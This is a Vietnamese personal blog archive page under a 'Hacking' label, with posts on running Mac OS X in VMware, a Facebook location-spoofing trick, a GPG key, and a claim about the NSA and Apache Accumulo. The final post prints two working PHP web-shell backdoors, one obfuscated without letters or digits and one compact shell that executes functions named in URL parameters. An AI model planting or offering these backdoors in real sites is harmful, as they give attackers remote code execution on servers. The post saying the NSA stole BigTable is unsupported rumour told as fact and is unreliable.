Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Saturday, June 6, 2015

xnohat GPG Public key

Các bạn có thể dùng công cụ GPG4Win để mã hóa nội dung email và gửi một cách an toàn cho tôi. Dưới đây là GPG Public Key của tôi ( dùng để mã hóa nội dung mail, và chỉ có tôi mới có thể đọc nội dung mail này vì tôi có Private Key )

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2
mQENBFVyx9ABCAC3HQHfZKeC7c55/ZEpmXzMiz06bFHSMkOh/iZ0LvHRefzGBA+Y
EiFa4rpWoCT6wvcDFG2gq51235dvbj7k7OsBKarXmgppTB3+s6AdXsIeG0TqVxbF
oOgtkNZ17Q5jPnb6/1Tut2pJVuocc8oIF4k6pR2kYZJ6d4eH4BsNOB55hwCZAUZ9
AqrstOQjeX8NiDV3om9bOo3+OrjUe+lS3OCWByLzNEMgeGb4Hc2JNSzGss20UFXm
d+N3Mpm59hqJH8jiQ2vt/vmIS3rS7ZFew90fvnlQajVcA9HoIyfw3kmFsDqo8zF7
sN2XTsgirv8DZ3sGrdowoTPHVlTTM66h6V/1ABEBAAG0I0hvbmcgUGh1YyBOZ3V5
ZW4gPHhub2hhdEBnbWFpbC5jb20+iQE5BBMBCAAjBQJVcsfQAhsDBwsJCAcDAgEG
FQgCCQoLBBYCAwECHgECF4AACgkQMUv/Id/jfkvCfgf5AQRulc+2ZF7jEbe0Sw3S
md76sPTmTkqPebvXoClC3BSqUdXhBQP+3DRY8TK37S5e/Ylf22e5htrA8POe78un
hmZJW49Tla65srugNUVFfSPpozw7TUxor5rRirZ5VOioZdzzb51Dzf6WRh3YiyWG
yvsJh2k0GUbq6kVQf62OfaissVneGIOgQ+D1upZV7m7qRisgd0wZzzd8V9iqEsmy
cJ357WmpwLIgA05sd3NqLP2eqInm5kOTuSwg5K7xwT3ZrI4a2LJCMlUtngW8p2I4
aa3r9ToMbsT6+ANa29S/GGL2jvSlBAirKEGQ/XQdpFv+fTKAkT69OE+dSq/AMT/p
JrkBDQRVcsfQAQgA2/sDI7V+lQq0zyU3Mg1iPAUd5N4bmbSXNxbH52G4pUHnV8ic
EPqW52fH7AV6Bjc/WC+0h+yVtbkqdfwItugbz0YdHwcx+7rcR9icMxIfqJY1wnZI
i/jkDn3Leb7xO1m6LOq2bRa4cAk4UEJNgb18A4DTO7ZRS0PSwGc0H3wLh5M51mmf
QWzDm6SNKB+kOfLs8rmkGByLNO459tcAhypKD7qUt5NhK15J34UZxG/Qb2kA3dHy
bbQmah1kOQsw3+qOujI4lXKKFRHl5zYk4V+D1SIT7F58F39trUI3HX5p9+ZphZkN
NRUGyQ1YYQVV0t/EttKJM6JYF3hMCwYrEyh3ZwARAQABiQEfBBgBCAAJBQJVcsfQ
AhsMAAoJEDFL/yHf435LsjcH/0obS/qsKlq4HZNExUf9FMHKVqWeCDb/3npmHApQ
znw5fJqr8c9BTvi08OJgH1SIvbpKpdo3oQqlHI0sckTpnLF8s1UYUDJr166G2zaj
8sDMkSRsu7qZ30ku6oLq3rgE16rQ842f2QbO/ebbWD4ES3DM2rR5TVmYLiBRPF8D
NWMUhq0Y9onHK2R1aMMbWN/d1My2z6uNu62Hegi3Jeu81tkL20Ng7ldJTmLEhwtH
QXeCTlHdDKuDXc5XA+v66xqRmQ+z6nidnh4F3mEXZjRARnHslEz3tDUU8rNbqEIs
EvzmIzALvgjKfuQ2TsEZnfiKFxACsPllL8rSy5uPZmFtIX8=
=xb1k
-----END PGP PUBLIC KEY BLOCK-----

Thursday, May 7, 2015

Cách cài Mac OS X lên VMWare trên Windows chạy mượt mà như máy Macintosh

Mac OS X trên VMWare Windows - Mượt như Macintosh - Apple không thích điều này

Mac OS X là một hệ điều hành tiên tiến, dễ dùng và cực kỳ ổn định khi sử dụng hàng ngày, chưa kể là Mac OS vốn rất đẹp nếu so với Windows hay Linux. Được sử dụng nó là mơ ước của rất nhiều người. Thế nhưng cái giá để có thể xài Mac OS là rất đắt đỏ vì Mac OS được tạo ra với mục đích chỉ chạy trên các máy tính Macintosh do Apple sản xuất.

Trước giờ, thông thường để chạy Mac OS X thì bạn chỉ có thể có 2 cách:

1. Mua một cái máy Mac: khỏi nói, có tiền mua thì khỏi bàn rồi, sướng vãi lều luôn, nhưng mà giá máy Mac thì mắc gấp 2-3 máy PC/Laptop cùng cấu hình

2. Áp dụng kỹ thuật Hack-intosh, tức là cài đặt Mac OS lên một cái máy tính PC bình thường: cách này cho đến nay vẫn là phương thức thường dùng của người không có điều kiện mua máy Mac ( có giá gấp 2-3 lần một PC hay Laptop cùng cấu hình ), tuy nhiên giới hạn của Hackintosh là cấu hình máy hiện tại mà bạn đang sở hữu ít khi có thể chạy trơn tru với bản Mac OS Hack này do phần cứng không tương thích ( Mac OS vốn chỉ hỗ trợ 1 số driver rất giới hạn ), việc cài Hackintosh cũng khiến Mac OS bất ổn do các phần mở rộng nhân hệ thống ( Kernel Extension - Kext ) không phải lúc nào cũng tương thích với nhân của OS vì nó do các developer không phải cua Apple làm, tìm cách làm cho Mac OS chạy với các phần cứng không đúng với Apple thiết kế. Hackintosh về cơ bản bạn chỉ có 2 lựa chọn, 1 là mua 1 cái máy PC được lựa chọn kỹ phần cứng tương thích với các Kext đã được các Dev tạo sẵn, hoặc chấp nhận chạy Mac OS mà thiếu tính năng. Do đó giải pháp Hackintosh không thực sự hoàn thiện. Đặc biệt là Hackintosh hầu như ít tương thích với các Laptop vì cấu hình Laptop là không thể thay đổi

Vậy nên giấc mơ xài Mac OS có vẻ thực sự rất xa vời :)

Cơ mà đối với các Hacker thì chuyện bó tay là chuyện rất ngứa :))))

Giải pháp tốt nhất hiện nay:

Cài đặt Mac OS X mọi phiên bản ( từ 10.5 trở lên ) lên VMWare như một máy ảo:


Giải thích ngắn gọn: VMWare thực ra có một phiên bản VMWare dành cho Mac OS gọi là VMWare Fusion, bản VMWare này hỗ trợ việc chạy Mac OS X trên các máy Mac :D ( chuyện đương nhiên :)) ), đây chính là khởi nguồn cho ý tưởng "VMWare Fusion có thể chạy Mac OS trên máy Mac. Vậy có cách nào để VMWare Workstation chạy Mac OS trên máy PC/Laptop Windows không ? )

Ý tưởng này thực sự rất thú vị: do đó các hacker ( trong đó có mền ) có tham gia 1 thread trên InsanelyMac thảo luận về ý tưởng port các đoạn mã/tính năng hỗ trợ chạy Mac OS từ VMWare Fusion ( Mac ) qua VMWare Workstation ( Windows ). Ý tưởng này rất khả thi vì các bản VMWare thực ra được tạo ra từ cùng một CodeBase ( cơ sở mã nguồn ) như nhau thôi.
Lúc đầu việc port được thực hiện khá thủ công. Đầu tiên là thử dùng máy ảo dạng FreeBSD ( profile bsd ) vì Mac OS thực ra là một bản phát triển của Unix, rồi một file iso mồi thay thế cho UEFI boot ( lúc đầu VMWare 6.0 - 7.0 chưa hỗ trợ UEFI - chôm từ Hackintosh ) ... Các bước manually đó đều đem tới một kết quả rất khả quan là Mac OS boot và cài đặt bình thường trên VMWare Workstation Windows . Tuy nhiên cách làm khá phức tạp rất khó áp dụng vì liên quan tới patch VMWare này nọ để nó support Mac OS ...
Tới cuối năm 2011, một bạn siêu nhân nick Zenith432 đã tổng hợp các kỹ thuật trên và làm thành 1 bộ script tự động để patch VMWare, sau đó là sự ra đời của VMWare Workstation 8.0 cung cấp trọn vẹn UEFI boot cũng như một siêu nhân khác chỉnh sửa patchscript của bạn ở trên thành một bộ tool là Unlocker. Kỹ thuật patch VMWare để VMWare Workstation có các tính năng hỗ  trợ Mac OS như VMWare Fusion coi như hoàn thiện.

Ok giới thiệu dài dòng vậy để bạn hiểu rõ nguồn gốc phát triển khá lâu dài của kỹ thuật này :) giờ là cách thực hiện :)

Yêu cầu phần cứng:

Dĩ nhiên đây là máy ảo chạy trên máy thật, vì vậy dù gì thì vẫn có một chút yêu cầu đối với phần cứng đủ để chạy VMWare :)

1. Ram: 8GB, tốt nhất là 8GB muốn chạy máy ảo mà số Ram thấp hơn 8GB thì hơn ái ngại chút vì máy sẽ chậm

2. CPU: core i3, core i5 hay core i7 thế hệ nào cũng được vì core i5 trở lên có hỗ trợ tập lệnh ảo hóa Intel Virtualization VT-x nên . Nếu Core i7 thì ngon hơn vì có thêm tập lệnh VT-d ( IO Direct ) giúp máy ảo truy cập trực tiếp phần cứng thật nên máy nhanh vê lờ. Core 2duo thì thôi dẹp vì không có VT-x máy chạy chậm lắm không chạy nổi VMWare đâu

3. Ổ cứng: tốt nhất là SSD nếu có điều kiện ( SSD 128GB giờ cũng khoảng 1 triệu mấy rẻ bèo, cắm vô thấy cái máy chạy nhanh gấp 100 lần liền ), nếu không thì dùng HDD cũng được nhưng cảnh báo là sẽ chậm vì Mac OS là HDH đọc ghi dữ liệu rất ác, ngay cả máy Mac xịn cũng chuyển qua SSD cả rồi vì HDD chậm lắm. Tuy nhiên với Windows là HĐH chủ thì chúng ta có 1 phép màu khác :D nếu dùng HDD mà áp dụng phép màu này thì hiệu quả cũng được gần bằng SSD , tuy nhiên Ram bắt buộc phải 8GB, dưới 8GB là vứt, cuối bài sẽ nói tới cái tối ưu này

Yêu cầu phần mềm:

1. Tải về VMWare Workstation bản 11.0 tải tại đây ( https://www.fshare.vn/file/7PSIWT1HY8WK )

2. Tải về ảnh đĩa VMDK bộ cài Mac OS X 10.7 Lion mà xnohat đã tạo sẵn tại đây ( cái này không thể kiếm ở đâu khác đâu :)) ) . Tải về giải nén ( pass giải nén: xnohat ) được file Mac OS X Lion Installer.vmdk  .

3. Tải về VMWare MacOS Unlocker từ InsanelyMac tại đây ( tải bản mới nhất là Unlocker 2.0.4 tương thích VMWare Workstation 11.0 )

Update 8/5/2015:
4. Tải về VMWare Tools trích xuất từ VMWare Fusion 7.0 ( dành cho Mac, hỗ trợ tăng tốc đồ họa các OSX 10.9 và 10.10 ) tải tại đây

http://www.mediafire.com/download/sddv38ck50jtj91/darwin-fusion7.iso

Update 09/10/2015:
Link tải VMWare Tools chứa trong file ảnh  Darwin.iso cập nhật ngày 25.09.2015 cho Mac OS X El Capitan 10.11
Copy file ISO này vào máy ảo, nhấp đúp để mở rồi install VMWare Tools thôi

http://www.mediafire.com/download/2w35qxoa51kjhgc/darwin%28update25.09.2015%29.iso

Cách thực hiện:

1. Cài đặt VMWare Workstation 11.0 : cái này thì tự cài nghen

2. Sau khi cài xong VMWare thì giải nén cái Unlocker 2.0.4 ở trên ra 1 folder, sau đó chạy file win-install.cmd ( nhấp phải chọn Run as Administrator )


Đợi 1 chút cho Unlocker nó patch VMWare, xong thì nó tự tắt cửa sổ dòng lệnh

3. Vô VMWare tạo máy ảo mới -> chọn Custom ( Advanced ) -> chọn Hardware là Workstation 10 vì Hardware 10 là thứ mà có hỗ trợ VMWare Fusion, bản Hardware 11 VMWare Fusion chưa hỗ trợ -> Next -> I will install ... later ... -> Chọn Mac OS X -> chọn Mac OS X 10.7 ( như hình dưới ) -> Next -> chọn chỗ lưu Máy ảo Mac OS X , nên chọn lưu vô ổ SSD để tăng tốc độ truy cập ổ cứng cho Mac OS -> Firmware Type chọn EFI ( tức là UEFI ) -> Processors để mặc định là được -> Ram mặc định -> Network để là NAT -> Next mấy cái mặc định tới khi gặp chỗ Create a New Disk ( tạo ổ cứng mới ) -> Next -> chọn Store Virtual Disk as a Single File để có hiệu suất cao -> Next mấy cái tới Finish luôn


Vậy là đã có máy ảo

4. Chọn máy ảo Mac OS X 10.7 và click vô dòng Edit virtual machine setting:




Bấm nút Add ở cửa sổ hiện ra, chỗ Hardware Type chọn Hard Disk:


Next -> Next -> Chọn Use an existing virtual disk -> Next -> Disk File: chọn tới chỗ file Mac OS X Lion Installer.vmdk lúc nãy. Bấm Finish

Xong, giờ thì bấm nút Start ( nút play màu xanh ) để khởi động máy ảo Mac OS.
Chờ 1 chút sẽ thấy giao diện cài đặt Mac OS như dưới ( hoặc giao diện chọn ngôn ngữ )



Ok giờ thì phần cài đặt là của bạn tự khám phá :) Notes: ổ đĩa ảo vẫn chưa được format đâu, nhớ dùng Utilities -> Disk Utility để format thành định dạng Mac OS Extended rồi mới cài được nhe :)

Cài xong Mac OS thì có thể vô App Store để update lên Mac OS X mới nhất 10.10 Yosmite nếu bạn thích cái HDH bóng lộn ấy :))

Update thêm:
Quan trọng - Cài đặt VMWare Tools lên cho Mac OS X:


VMWare Tools là một bộ driver của VMWare giúp cho Mac OS X có các tính năng:
- Tự động điều chỉnh độ phân giải màn hình ( View -> Autosize -> Autofit Guest )
- Kéo thả file giữa HDH chủ và HDH khách
- Share ổ cứng, thư mục từ HDH Windows qua Mac OS

VMWare Tools này thực ra là bản trích xuất từ VMWare Fusion.

Bạn vào menu VM -> Removable Devices -> CD/DVD -> Setting

Chọn use iso image file

Tìm tới thư mục cài đặt VMWare ( thường là "C:\Program Files (x86)\VMware\VMware Workstation\" ) trong đó có file Darwin.iso . Đây chính là bộ cài VMWare Tools cho Mac OS, chọn Open . Rồi chỗ mục Device Status chọn Connected . Bấm OK

Update: với Mac OS 10.10 và 10.9 thì dùng bản VMWareTools ( darwin-fusion7.iso ) mới nhất mình trích từ VMWare Fusion 7 tải ở trên.

Bạn sẽ thấy ổ đĩa CD tự chạy VMWare Tools, click cài đặt . Cứ next next next tới khi nó có nút Restart là xong.


Chúc bạn vui vẻ với Mac OS - Apple không thích điều này :))))


Update Bonus:
FAKE Thông tin Serial, model, bios serial ... etc để Mac OS ảo như Mac OS thật . Kích hoạt được iMessage, Facetime trên máy ảo
Cách làm theo link này trên insanelymac
http://www.insanelymac.com/forum/topic/292170-how-to-spoof-real-mac-in-vmware/


Bonus:

Tăng tốc độ ổ HDD gần bằng SSD

Kỹ thuật tăng tốc này gọi là Disk Read/Write Caching on RAM tức là khi đọc ghi dữ liệu xuống ổ cứng, chúng ta sẽ dùng RAM là một bộ đệm tạm ở giữa giúp tốc độ truy xuất ổ cứng tăng lên tới 200% ( tùy trường hợp ).

Tuy nhiên vì dùng RAM làm bộ đệm nên máy cần phải nhiều RAM, ít nhất là 8GB RAM thì mới đủ cho vừa đệm ổ cứng vừa VMWare vừa Máy ảo Mac OS X.

Cách làm thì dùng phần mềm
1. SuperCache : cái này thì mắc lắm ( 1000$ cho 1 license ) có crack nhưng chỉ cho bản 32bit thôi :D nên bạn nào giàu có tiền mua thì xài, cái này xài thì tốt nhất, hiệu quả nhất, tốc độ tăng mát trời ông địa luôn

2. PrimoCache : kém hơn SuperCache 1 chút nhưng giá mềm hơn nhiều, chỉ 29$ ( 650k VND ) nhưng không có crack. Bạn được xài thử full tới 90 ngày rồi mua

PrimoCache thì cấu hình như dưới đây:


Tóm tắt: dùng 1024 MB Ram làm bộ đệm, áp dụng đệm cho Đọc lẫn Ghi, bật chế độ đệm Ghi tức là ghi lên RAM sau đó 10 giây mới đẩy xuống ổ cứng ( đây là phép màu đó, vì ghi lên RAM nên nhanh hơn ổ cứng 1000 lần, sau đó từ RAM mới từ từ ghi xuống ổ cứng )

Chúc bạn vui vẻ với cái ổ cứng HDD nhanh gần bằng SSD


Bài này nếu bạn nào copy đi đâu vui lòng đặt link dẫn nguồn về đây nghen

DEMO tốc độ Mac OS trên VMWare:



Tuesday, January 13, 2015

Hướng dẫn bật mục reply ở Comment của Facebook hay là Trick để thử các tính năng mới của Facebook

Hướng dẫn bật mục reply ở comment của Facebook

Do Facebook thường cho người dùng ở New Zealand được thử nghiệm các tính năng mới nhất, nên sau đây là một Trick để Facebook bật các tính năng đang được thử nghiệm tại New Zealand bởi Facebook, trong đó có tính năng Reply ở Comment

 

Cách làm:
1. Mở trình duyệt Chrome ( chỉ xài Chrome cho trick này được )
2. Mở một tab mới
3. Truy cập http://touch.facebook.com
4. trên Chrome vào menu View -> Developer -> Javascript Console


5. Click vào nút Show Drawer cạnh cái nút hình bánh răng ( rê chuột lên sẽ thấy cái Tool tip Show Drawer ) hiện ra:


6. Chọn mở tab Emulation ( tab ở cạnh tab Search và tab Rendering ) rồi click nút hình cái điện thoại ( Toggle Device Mode ) ở cạnh nút hình cái kính lúp ( search ) để mở chế độ giả lập (Emulation mode)

7. Uncheck cái checkbox Emulate Screen Resolution để giao diện facebook không bị bóp nhỏ lại khó thao tác

8. Chọn mục Sensors, chọn mục Emulation Geolocation Coordinates để giả lập toạ độ GPS trên trình duyệt

9. Điền thông số Lat & Lon là:
  • Lat: -41.211111
  • Lon: 174.781111
Đây là location của New Zealand

10. Click mục Check In trên Facebook


11. Click Allow nếu Chrome hỏi có cho phép Facebook truy cập GPS


12. Chọn một địa điểm tại New Zealand trong list. Vì lúc này Facebook đã bị lừa là chúng ta đang ở New Zealand nên nó sẽ hiện ra các địa điểm toàn là ở New Zealand


Chọn đại cái đầu tiên rồi post một cái post check in ở địa điểm này

13. OK done, bây giờ bạn có thể mở một Facebook Tab khác để đăng như bình thường, và từ nay bạn không cần làm lại các bước trên do tính năng đã được bật rồi :)

Trick này áp dụng với nhiều tính năng mới được thử nghiệm khác của Facebook mà bạn muốn được thử nghiệm trước người khác :)

Enjoy ;)

xnohat

Sunday, November 24, 2013

Apache Accumulo là bản clone của Google BigTable do NSA thực hiện

Chà chà, sau khi nghiên cứu sâu về NSA và hệ thống do thám toàn cầu của họ. Một số thông tin thú vị được thu thập. Trong đó có thứ tôi không thể không kể ngay sau khi biết được.

Google đã tạo ra một thứ hệ quản trị cơ sở dữ liệu (DBMS) đặc chủng để quản lý kho dữ liệu khổng lồ của họ (BigData), được gọi là BigTable, đây là một hệ quản trị csdl dạng key-value thuộc dòng NoSQL DB. Hệ DBMS này cực kỳ hiệu quả trong việc hỗ trợ lưu trữ, truy lục và phân tích một lượng khổng lồ dữ liệu phi cấu trúc. Điều này đã khiến NSA chú ý, nhu cầu của họ cũng y chang Google chỉ có điều nó đen tối hơn. Họ cũng cần phải lưu trữ hàng triệu Gigabytes ( thậm chí hàng ngàn Pentabytes cũng nên ) dữ liệu dọ thám toàn cầu, đây là một lượng siêu khổng lồ dữ liệu phi cấu trúc. Họ thực sự bí vì hệ DBMS của Oracle ( vốn là hàng của quân đội Mỹ ) trở nên vô dụng trước khối lượng dữ liệu này do bản chất của Oracle DB vẫn là Relation Database nên kém hiệu quả trong quản lý dữ liệu phi cấu trúc.
Vào năm 2006, Google có công bố một nghiên cứu của họ sau 2 năm ròng xây dựng, đó là concepts về một hệ DBMS mới được gọi là BigTable (đã nói ở trên). Dĩ nhiên Google chỉ đưa concepts còn cụ thể họ chả nói là họ làm gì.
Và NSA vớ lấy cái concepts này, thử xây dựng một cái nhưng không ra hồn gì. Thế là họ chơi xấu, cho lính đột nhập Google, đánh cắp BigTable về, rồi cho đám kĩ sư ( engineer ) thực hiện cái gọi là “phân giải ngược” ( Reverse Engineering ) để tìm hiểu BigTable làm gì, rồi sau đó copy làm lại một cái y chang. Và kết quả là NSA có vũ khí siêu lợi hại, có thể nói chính BigTable đã tạo điều kiện cho PRISM thành hiện thực, do nó đã giải quyết nút thắt chỗ quản lý khối dữ liệu khổng lồ mà NSA dọ thám được.

Chuyện vui chưa kết thúc tại đó :))
Sau này vụ việc này bị bại lộ, NSA đã bí mật donate mã nguồn của BigTable-Clone ( đã bị dịch ngược và làm 1 cái y chang ) cho Apache Foundation với cái tên Apache Accumulo (http://accumulo.apache.org/). Với ý đồ thông qua việc này đổ thừa là NSA chỉ lên mạng tải một cái opensource về và xài chứ không có ăn cắp từ Google :))

Mịa Mỹ cũng chơi dơ bỏ mợ :))

—————

Với cái open source BigTable-like này thì bất kỳ chính phủ nào muốn lập 1 cái như PRISM thì coi như họ có trong tay 1 cái base khá ngon rồi :)

Tham khảo
http://www.googlersays.com/google-bigtable-facts/
http://www.googlersays.com/what-makes-google-services-work-so-fast/
http://www.googlersays.com/google-bigtable-load-balancing-structure/
http://wiki.apache.org/incubator/AccumuloProposal

Saturday, November 23, 2013

Làm app iOS cho iPhone, iPad và cả Android không thể dễ hơn

Làm app iOS cho iPhone, iPad và cả Android không thể dễ hơn




Bộ Framework Cordova này bắt nguồn từ project PhoneGap của Adobe sau được donate thành mã nguồn mở cho Apache Foundation. Nó là một lớp trung gian giữa giao diện webkit và native API ở tầng dưới

Tóm lại nó làm cho việc phát triển các app iOS, Android, BlackBerry, Windows Phone trở nên đơn giản như là thiết kế web vì ngôn ngữ lập trình sử dụng là Javascript và giao diện thì dựng bằng HTML/CSS

Tuesday, November 12, 2013

Truy tìm IP thật của server đằng sau CloudFlare hay các dịch vụ CDN

Guide này nhằm giúp các System Admin nhận ra được rằng mình "misconfiguration" ở đâu khiến hệ thống bị lộ real IP khiến các kẻ tấn công DDoS dễ dàng tấn công hệ thống mà bỏ qua các lớp CDN bảo vệ

CloudFlare IP

Đầu tiên ta cần phải biết danh sách IP của cloudflare (CloudFlare IP ) là những IP nào để biết rằng IP tìm được bằng các phương pháp dưới đây là IP thật của server ( real IP ). Danh sách CloudFlare IP được hãng này public tại đây: https://www.cloudflare.com/ips
Các CDN khác thì tìm trên internet :)

Sunday, November 3, 2013

Tản mạn về cách Apple bảo mật tính năng Finger Print trên iPhone 5s

Apple giải thích khá kỹ về cách mà họ bảo vệ các dữ liệu dấu vân tay khỏi NSA 

"Khu vực an toàn nội bộ ( Secure Enclave )
Touch ID không lưu trữ bất kỳ hình ảnh nào về dấu vân tay của bạn. Nó chỉ lưu duy mất các mẫu phân tích toán học về dấn vân tay của bạn. Và hoàn toàn bất khả thi trong việc từ các dữ liệu toán học này khôi phục lại thành hình ảnh dấu vân tay của bạn. iPhone 5s cũng kèm thêm trong nó một số công nghệ bảo mật đặc biệt được gọi là “Khu vực an toàn nội bộ” nằm ngay bên trong chip A7, công nghệ này được phát triển nhằm bảo vệ mã pin đăng nhập iPhone và dữ liệu vân tay. Dữ liệu về dấu vân tay sẽ được mã hoá và bảo vệ với một khoá mã hoá chỉ có trong “Khu vực an toàn nội bộ”. Dữ liệu dấu vân tay sẽ chỉ được dùng bởi “Khu vực an toàn nội bộ” để xác thực dấu vân tay của bạn là hợp lệ. “Khu vực an toàn nội bộ” được cách ly hoàn toàn khỏi các phần còn lại của chip A7 cũng như toàn bộ các phần còn lại của HDH iOS. Do đó, dữ liệu dấu vân tay của bạn sẽ không bao giờ có thể được truy cập bởi iOS hoặc bất kỳ ứng dụng nào khác, không bao giờ được lưu trên các máy chủ của Apple và không bao giờ được sao lưu trên iCloud hoặc bất kỳ nơi nào khác. Chỉ tính năng Touch ID có thể dùng các dữ liệu này và nó không thể được dùng để so khớp với các cơ sở dữ liệu dấu vân ta nào khác ( ví dụ như của NSA chẳng hạn )"

Wednesday, September 18, 2013

PHP Shell backdoor không có kí tự chữ và số

<?php
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
?>

Tham khảo thêm tại
http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
Bắt nguồn từ đây:
http://blog.omfgitsasalmon.com/

Con shell này là biến dị khởi nguồn từ con Shell được gọi là The most tiny php shell
Được tác giả của nó đăng lên twitter tại https://twitter.com/dragosr/status/116759108526415872 vào năm 2011

<?=($_=@$_GET[2]).@$_($_GET[1])?>